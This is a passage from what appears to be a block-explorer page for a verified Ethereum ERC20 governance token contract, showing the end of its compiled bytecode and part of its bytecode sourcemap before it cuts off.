fffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115d2919061217d565b60405180910390a36115e58484846119a0565b50505050565b6115f3611111565b73ffffffffffffffffffffffffffffffffffffffff16611611610c6a565b73ffffffffffffffffffffffffffffffffffffffff1614611667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165e90612ba8565b60405180910390fd5b565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060006116d88461081e565b905082600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46117d48284836119a5565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061193f5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561199b5760011515600760009054906101000a900460ff1615151461199a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199190612bee565b60405180910390fd5b5b505050565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119e15750600081115b15611c4157600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b13576000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611a84576000611af1565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611ad2919061265e565b63ffffffff1663ffffffff168152602001908152602001600020600101545b905060008382611b019190612c0e565b9050611b0f86848484611c46565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c40576000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611bb1576000611c1e565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611bff919061265e565b63ffffffff1663ffffffff168152602001908152602001600020600101545b905060008382611c2e91906124fe565b9050611c3c85848484611c46565b5050505b5b505050565b6000611c6a43604051806060016040528060368152602001612d3860369139611f49565b905060008463ffffffff16118015611d0857508063ffffffff16600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187611cd2919061265e565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611d825781600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187611d5c919061265e565b63ffffffff1663ffffffff16815260200190815260200160002060010181905550611ef2565b60405180604001604052808263ffffffff16815260200183815250600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff16600185611e419190612c42565b63ffffffff1611611e87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7e90612cee565b60405180910390fd5b600184611e949190612c42565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611f3a929190612d0e565b60405180910390a25050505050565b600064010000000083108290611f95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8c9190612038565b60405180910390fd5b5082905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611fd9578082015181840152602081019050611fbe565b83811115611fe8576000848401525b50505050565b6000601f19601f8301169050919050565b600061200a82611f9f565b6120148185611faa565b9350612024818560208601611fbb565b61202d81611fee565b840191505092915050565b600060208201905081810360008301526120528184611fff565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061208f82612064565b9050919050565b61209f81612084565b81146120aa57600080fd5b50565b6000813590506120bc81612096565b92915050565b6000819050919050565b6120d5816120c2565b81146120e057600080fd5b50565b6000813590506120f2816120cc565b92915050565b6000806040838503121561210f5761210e61205a565b5b600061211d858286016120ad565b925050602061212e858286016120e3565b9150509250929050565b60008115159050919050565b61214d81612138565b82525050565b60006020820190506121686000830184612144565b92915050565b612177816120c2565b82525050565b6000602082019050612192600083018461216e565b92915050565b6000819050919050565b6121ab81612198565b82525050565b60006020820190506121c660008301846121a2565b92915050565b6000806000606084860312156121e5576121e461205a565b5b60006121f3868287016120ad565b9350506020612204868287016120ad565b9250506040612215868287016120e3565b9150509250925092565b600060ff82169050919050565b6122358161221f565b82525050565b6000602082019050612250600083018461222c565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261227b5761227a612256565b5b8235905067ffffffffffffffff8111156122985761229761225b565b5b6020830191508360208202830111156122b4576122b3612260565b5b9250929050565b600080602083850312156122d2576122d161205a565b5b600083013567ffffffffffffffff8111156122f0576122ef61205f565b5b6122fc85828601612265565b92509250509250929050565b60006020828403121561231e5761231d61205a565b5b600061232c848285016120ad565b91505092915050565b61233e81612084565b82525050565b60006020820190506123596000830184612335565b92915050565b600063ffffffff82169050919050565b6123788161235f565b82525050565b6000602082019050612393600083018461236f565b92915050565b600080604083850312156123b0576123af61205a565b5b60006123be858286016120ad565b92505060206123cf858286016120ad565b9150509250929050565b6123e28161235f565b81146123ed57600080fd5b50565b6000813590506123ff816123d9565b92915050565b6000806040838503121561241c5761241b61205a565b5b600061242a858286016120ad565b925050602061243b858286016123f0565b9150509250929050565b600060408201905061245a600083018561236f565b612467602083018461216e565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124b557607f821691505b602082108114156124c9576124c861246e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612509826120c2565b9150612514836120c2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612549576125486124cf565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061258e826120c2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156125c1576125c06124cf565b5b600182019050919050565b7f424f4e453a3a6765745072696f72566f7465733a206e6f74207965742064657460008201527f65726d696e656400000000000000000000000000000000000000000000000000602082015250565b6000612628602783611faa565b9150612633826125cc565b604082019050919050565b600060208201905081810360008301526126578161261b565b9050919050565b60006126698261235f565b91506126748361235f565b925082821015612687576126866124cf565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006126cc8261235f565b91506126d78361235f565b9250826126e7576126e6612692565b5b828204905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061274e602583611faa565b9150612759826126f2565b604082019050919050565b6000602082019050818103600083015261277d81612741565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006127e0602683611faa565b91506127eb82612784565b604082019050919050565b6000602082019050818103600083015261280f816127d3565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612872602483611faa565b915061287d82612816565b604082019050919050565b600060208201905081810360008301526128a181612865565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612904602283611faa565b915061290f826128a8565b604082019050919050565b60006020820190508181036000830152612933816128f7565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612970601d83611faa565b915061297b8261293a565b602082019050919050565b6000602082019050818103600083015261299f81612963565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612a02602583611faa565b9150612a0d826129a6565b604082019050919050565b60006020820190508181036000830152612a31816129f5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612a94602383611faa565b9150612a9f82612a38565b604082019050919050565b60006020820190508181036000830152612ac381612a87565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612b26602683611faa565b9150612b3182612aca565b604082019050919050565b60006020820190508181036000830152612b5581612b19565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612b92602083611faa565b9150612b9d82612b5c565b602082019050919050565b60006020820190508181036000830152612bc181612b85565b9050919050565b50565b6000612bd8600083611faa565b9150612be382612bc8565b600082019050919050565b60006020820190508181036000830152612c0781612bcb565b9050919050565b6000612c19826120c2565b9150612c24836120c2565b925082821015612c3757612c366124cf565b5b828203905092915050565b6000612c4d8261235f565b9150612c588361235f565b92508263ffffffff03821115612c7157612c706124cf565b5b828201905092915050565b7f434f464645453a3a5f7772697465436865636b706f696e743a206e657720636860008201527f65636b706f696e74206578636565647320333220626974730000000000000000602082015250565b6000612cd8603883611faa565b9150612ce382612c7c565b604082019050919050565b60006020820190508181036000830152612d0781612ccb565b9050919050565b6000604082019050612d23600083018561216e565b612d30602083018461216e565b939250505056fe434f464645453a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473a2646970667358221220284ccdd63a97d7ce54a18fbc5556bcc5b4a79d6f01fc34f3521c994473b824d064736f6c634300080c0033

Deployed Bytecode Sourcemap

20522:6436:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8690:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11610:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10379:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21478:122;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12391:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9652:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13095:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9960:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22250:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22511:104;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;20988:49;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10550:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5803:103;;;:::i;:::-;;23046:1212;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21681:39;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5162:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8909:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9753:199;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13836:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10883:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24459:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11139:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21288:117;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10202:112;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21120:70;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;6061:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8690:100;8744:13;8777:5;8770:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8690:100;:::o;11610:201::-;11693:4;11710:13;11726:12;:10;:12::i;:::-;11710:28;;11749:32;11758:5;11765:7;11774:6;11749:8;:32::i;:::-;11799:4;11792:11;;;11610:201;;;;:::o;10379:108::-;10440:7;10467:12;;10460:19;;10379:108;:::o;21478:122::-;21520:80;21478:122;:::o;12391:295::-;12522:4;12539:15;12557:12;:10;:12::i;:::-;12539:30;;12580:38;12596:4;12602:7;12611:6;12580:15;:38::i;:::-;12629:27;12639:4;12645:2;12649:6;12629:9;:27::i;:::-;12674:4;12667:11;;;12391:295;;;;;:::o;9652:93::-;9710:5;9735:2;9728:9;;9652:93;:::o;13095:238::-;13183:4;13200:13;13216:12;:10;:12::i;:::-;13200:28;;13239:64;13248:5;13255:7;13292:10;13264:25;13274:5;13281:7;13264:9;:25::i;:::-;:38;;;;:::i;:::-;13239:8;:64::i;:::-;13321:4;13314:11;;;13095:238;;;;:::o;9960:234::-;5048:13;:11;:13::i;:::-;10052:9:::1;10047:140;10071:11;;:18;;10067:1;:22;10047:140;;;10138:5;10111:8;:24;10120:11;;10132:1;10120:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10111:24;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;10170:3;;;;;10091;;;;;:::i;:::-;;;;10047:140;;;;9960:234:::0;;:::o;22250:117::-;22311:7;22338:10;:21;22349:9;22338:21;;;;;;;;;;;;;;;;;;;;;;;;;22331:28;;22250:117;;;:::o;22511:104::-;22575:32;22585:10;22597:9;22575;:32::i;:::-;22511:104;:::o;20988:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;10550:127::-;10624:7;10651:9;:18;10661:7;10651:18;;;;;;;;;;;;;;;;10644:25;;10550:127;;;:::o;5803:103::-;5048:13;:11;:13::i;:::-;5868:30:::1;5895:1;5868:18;:30::i;:::-;5803:103::o:0;23046:1212::-;23127:7;23168:12;23154:11;:26;23146:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;23235:19;23257:14;:23;23272:7;23257:23;;;;;;;;;;;;;;;;;;;;;;;;;23235:45;;23311:1;23295:12;:17;;;23291:58;;;23336:1;23329:8;;;;;23291:58;23459:11;23407;:20;23419:7;23407:20;;;;;;;;;;;;;;;:38;23443:1;23428:12;:16;;;;:::i;:::-;23407:38;;;;;;;;;;;;;;;:48;;;;;;;;;;;;:63;;;23403:147;;23494:11;:20;23506:7;23494:20;;;;;;;;;;;;;;;:38;23530:1;23515:12;:16;;;;:::i;:::-;23494:38;;;;;;;;;;;;;;;:44;;;23487:51;;;;;23403:147;23645:11;23609;:20;23621:7;23609:20;;;;;;;;;;;;;;;:23;23630:1;23609:23;;;;;;;;;;;;;:33;;;;;;;;;;;;:47;;;23605:88;;;23680:1;23673:8;;;;;23605:88;23703:12;23730;23760:1;23745:12;:16;;;;:::i;:::-;23730:31;;23772:428;23787:5;23779:13;;:5;:13;;;23772:428;;;23809:13;23851:1;23842:5;23834;:13;;;;:::i;:::-;23833:19;;;;:::i;:::-;23825:5;:27;;;;:::i;:::-;23809:43;;23894:20;23917:11;:20;23929:7;23917:20;;;;;;;;;;;;;;;:28;23938:6;23917:28;;;;;;;;;;;;;;;23894:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23980:11;23964:2;:12;;;:27;;;23960:229;;;24019:2;:8;;;24012:15;;;;;;;;;23960:229;24068:11;24053:2;:12;;;:26;;;24049:140;;;24108:6;24100:14;;24049:140;;;24172:1;24163:6;:10;;;;:::i;:::-;24155:18;;24049:140;23794:406;;23772:428;;;24217:11;:20;24229:7;24217:20;;;;;;;;;;;;;;;:27;24238:5;24217:27;;;;;;;;;;;;;;;:33;;;24210:40;;;;;23046:1212;;;;;:::o;21681:39::-;;;;;;;;;;;;;;;;;:::o;5162:87::-;5208:7;5235:6;;;;;;;;;;;5228:13;;5162:87;:::o;8909:104::-;8965:13;8998:7;8991:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8909:104;:::o;9753:199::-;5048:13;:11;:13::i;:::-;9843:9:::1;9838:107;9862:11;;:18;;9858:1;:22;9838:107;;;9929:4;9902:8;:24;9911:11;;9923:1;9911:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;9902:24;;;;;;;;;;;;;;;;:31;;;;;;;;;;;;;;;;;;9882:3;;;;;:::i;:::-;;;;9838:107;;;;9753:199:::0;;:::o;13836:436::-;13929:4;13946:13;13962:12;:10;:12::i;:::-;13946:28;;13985:24;14012:25;14022:5;14029:7;14012:9;:25::i;:::-;13985:52;;14076:15;14056:16;:35;;14048:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;14169:60;14178:5;14185:7;14213:15;14194:16;:34;14169:8;:60::i;:::-;14260:4;14253:11;;;;13836:436;;;;:::o;10883:193::-;10962:4;10979:13;10995:12;:10;:12::i;:::-;10979:28;;11018;11028:5;11035:2;11039:6;11018:9;:28::i;:::-;11064:4;11057:11;;;10883:193;;;;:::o;24459:222::-;24524:7;24543:19;24565:14;:23;24580:7;24565:23;;;;;;;;;;;;;;;;;;;;;;;;;24543:45;;24621:1;24606:12;:16;;;:67;;24672:1;24606:67;;;24625:11;:20;24637:7;24625:20;;;;;;;;;;;;;;;:38;24661:1;24646:12;:16;;;;:::i;:::-;24625:38;;;;;;;;;;;;;;;:44;;;24606:67;24599:74;;;24459:222;;;:::o;11139:151::-;11228:7;11255:11;:18;11267:5;11255:18;;;;;;;;;;;;;;;:27;11274:7;11255:27;;;;;;;;;;;;;;;;11248:34;;11139:151;;;;:::o;21288:117::-;21334:71;21288:117;:::o;10202:112::-;10262:4;10286:8;:20;10295:10;10286:20;;;;;;;;;;;;;;;;;;;;;;;;;10279:27;;10202:112;;;:::o;21120:70::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6061:201::-;5048:13;:11;:13::i;:::-;6170:1:::1;6150:22;;:8;:22;;;;6142:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6226:28;6245:8;6226:18;:28::i;:::-;6061:201:::0;:::o;3871:98::-;3924:7;3951:10;3944:17;;3871:98;:::o;17863:380::-;18016:1;17999:19;;:5;:19;;;;17991:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18097:1;18078:21;;:7;:21;;;;18070:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18181:6;18151:11;:18;18163:5;18151:18;;;;;;;;;;;;;;;:27;18170:7;18151:27;;;;;;;;;;;;;;;:36;;;;18219:7;18203:32;;18212:5;18203:32;;;18228:6;18203:32;;;;;;:::i;:::-;;;;;;;;17863:380;;;:::o;18534:453::-;18669:24;18696:25;18706:5;18713:7;18696:9;:25::i;:::-;18669:52;;18756:17;18736:16;:37;18732:248;;18818:6;18798:16;:26;;18790:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;18902:51;18911:5;18918:7;18946:6;18927:16;:25;18902:8;:51::i;:::-;18732:248;18658:329;18534:453;;;:::o;14742:840::-;14889:1;14873:18;;:4;:18;;;;14865:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14966:1;14952:16;;:2;:16;;;;14944:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;15021:38;15042:4;15048:2;15052:6;15021:20;:38::i;:::-;15072:19;15094:9;:15;15104:4;15094:15;;;;;;;;;;;;;;;;15072:37;;15143:6;15128:11;:21;;15120:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;15260:6;15246:11;:20;15228:9;:15;15238:4;15228:15;;;;;;;;;;;;;;;:38;;;;15463:6;15446:9;:13;15456:2;15446:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;15513:2;15498:26;;15507:4;15498:26;;;15517:6;15498:26;;;;;;:::i;:::-;;;;;;;;15537:37;15557:4;15563:2;15567:6;15537:19;:37::i;:::-;14854:728;14742:840;;;:::o;5327:132::-;5402:12;:10;:12::i;:::-;5391:23;;:7;:5;:7::i;:::-;:23;;;5383:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5327:132::o;24689:376::-;24766:23;24792:10;:21;24803:9;24792:21;;;;;;;;;;;;;;;;;;;;;;;;;24766:47;;24824:24;24851:20;24861:9;24851;:20::i;:::-;24824:47;;24907:9;24883:10;:21;24894:9;24883:21;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;24976:9;24932:54;;24959:15;24932:54;;24948:9;24932:54;;;;;;;;;;;;24997:60;25012:15;25029:9;25040:16;24997:14;:60::i;:::-;24755:310;;24689:376;;:::o;6422:191::-;6496:16;6515:6;;;;;;;;;;;6496:25;;6541:8;6532:6;;:17;;;;;;;;;;;;;;;;;;6596:8;6565:40;;6586:8;6565:40;;;;;;;;;;;;6485:128;6422:191;:::o;19587:200::-;19717:8;:12;19726:2;19717:12;;;;;;;;;;;;;;;;;;;;;;;;;:30;;;;19733:8;:14;19742:4;19733:14;;;;;;;;;;;;;;;;;;;;;;;;;19717:30;19713:72;;;19776:4;19757:23;;:15;;;;;;;;;;;:23;;;19749:36;;;;;;;;;;;;:::i;:::-;;;;;;;;;19713:72;19587:200;;;:::o;20391:124::-;;;;:::o;25845:941::-;25951:6;25941:16;;:6;:16;;;;:30;;;;;25970:1;25961:6;:10;25941:30;25937:842;;;26010:1;25992:20;;:6;:20;;;25988:382;;26081:16;26100:14;:22;26115:6;26100:22;;;;;;;;;;;;;;;;;;;;;;;;;26081:41;;26141:17;26173:1;26161:9;:13;;;:60;;26220:1;26161:60;;;26177:11;:19;26189:6;26177:19;;;;;;;;;;;;;;;:34;26209:1;26197:9;:13;;;;:::i;:::-;26177:34;;;;;;;;;;;;;;;:40;;;26161:60;26141:80;;26240:17;26272:6;26260:9;:18;;;;:::i;:::-;26240:38;;26297:57;26314:6;26322:9;26333;26344;26297:16;:57::i;:::-;26014:356;;;25988:382;26408:1;26390:20;;:6;:20;;;26386:382;;26479:16;26498:14;:22;26513:6;26498:22;;;;;;;;;;;;;;;;;;;;;;;;;26479:41;;26539:17;26571:1;26559:9;:13;;;:60;;26618:1;26559:60;;;26575:11;:19;26587:6;26575:19;;;;;;;;;;;;;;;:34;26607:1;26595:9;:13;;;;:::i;:::-;26575:34;;;;;;;;;;;;;;;:40;;;26559:60;26539:80;;26638:17;26670:6;26658:9;:18;;;;:::i;:::-;26638:38;;26695:57;26712:6;26720:9;26731;26742;26695:16;:57::i;:::-;26412:356;;;26386:382;25937:842;25845:941;;;:::o;25073:764::-;25195:18;25216:78;25223:12;25216:78;;;;;;;;;;;;;;;;;:6;:78::i;:::-;25195:99;;25326:1;25311:12;:16;;;:85;;;;;25385:11;25331:65;;:11;:22;25343:9;25331:22;;;;;;;;;;;;;;;:40;25369:1;25354:12;:16;;;;:::i;:::-;25331:40;;;;;;;;;;;;;;;:50;;;;;;;;;;;;:65;;;25311:85;25307:454;;;25462:8;25413:11;:22;25425:9;25413:22;;;;;;;;;;;;;;;:40;25451:1;25436:12;:16;;;;:::i;:::-;25413:40;;;;;;;;;;;;;;;:46;;:57;;;;25307:454;;;25542:33;;;;;;;;25553:11;25542:33;;;;;;25566:8;25542:33;;;25503:11;:22;25515:9;25503:22;;;;;;;;;;;;;;;:36;25526:12;25503:36;;;;;;;;;;;;;;;:72;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25617:12;25598:31;;25613:1;25598:12;:16;;;;:::i;:::-;:31;;;25590:100;;;;;;;;;;;;:::i;:::-;;;;;;;;;25748:1;25733:12;:16;;;;:::i;:::-;25705:14;:25;25720:9;25705:25;;;;;;;;;;;;;;;;:44;;;;;;;;;;;;;;;;;;25307:454;25799:9;25778:51;;;25810:8;25820;25778:51;;;;;;;:::i;:::-;;;;;;;;25184:653;25073:764;;;;:::o;26794:161::-;26869:6;26900:5;26896:1;:9;26907:12;26888:32;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;26945:1;26931:16;;26794:161;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1601:117;1710:1;1707;1700:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:77::-;3883:7;3912:5;3901:16;;3846:77;;;:::o;3929:118::-;4016:24;4034:5;4016:24;:::i;:::-;4011:3;4004:37;3929:118;;:::o;4053:222::-;4146:4;4184:2;4173:9;4169:18;4161:26;;4197:71;4265:1;4254:9;4250:17;4241:6;4197:71;:::i;:::-;4053:222;;;;:::o;4281:619::-;4358:6;4366;4374;4423:2;4411:9;4402:7;4398:23;4394:32;4391:119;;;4429:79;;:::i;:::-;4391:119;4549:1;4574:53;4619:7;4610:6;4599:9;4595:22;4574:53;:::i;:::-;4564:63;;4520:117;4676:2;4702:53;4747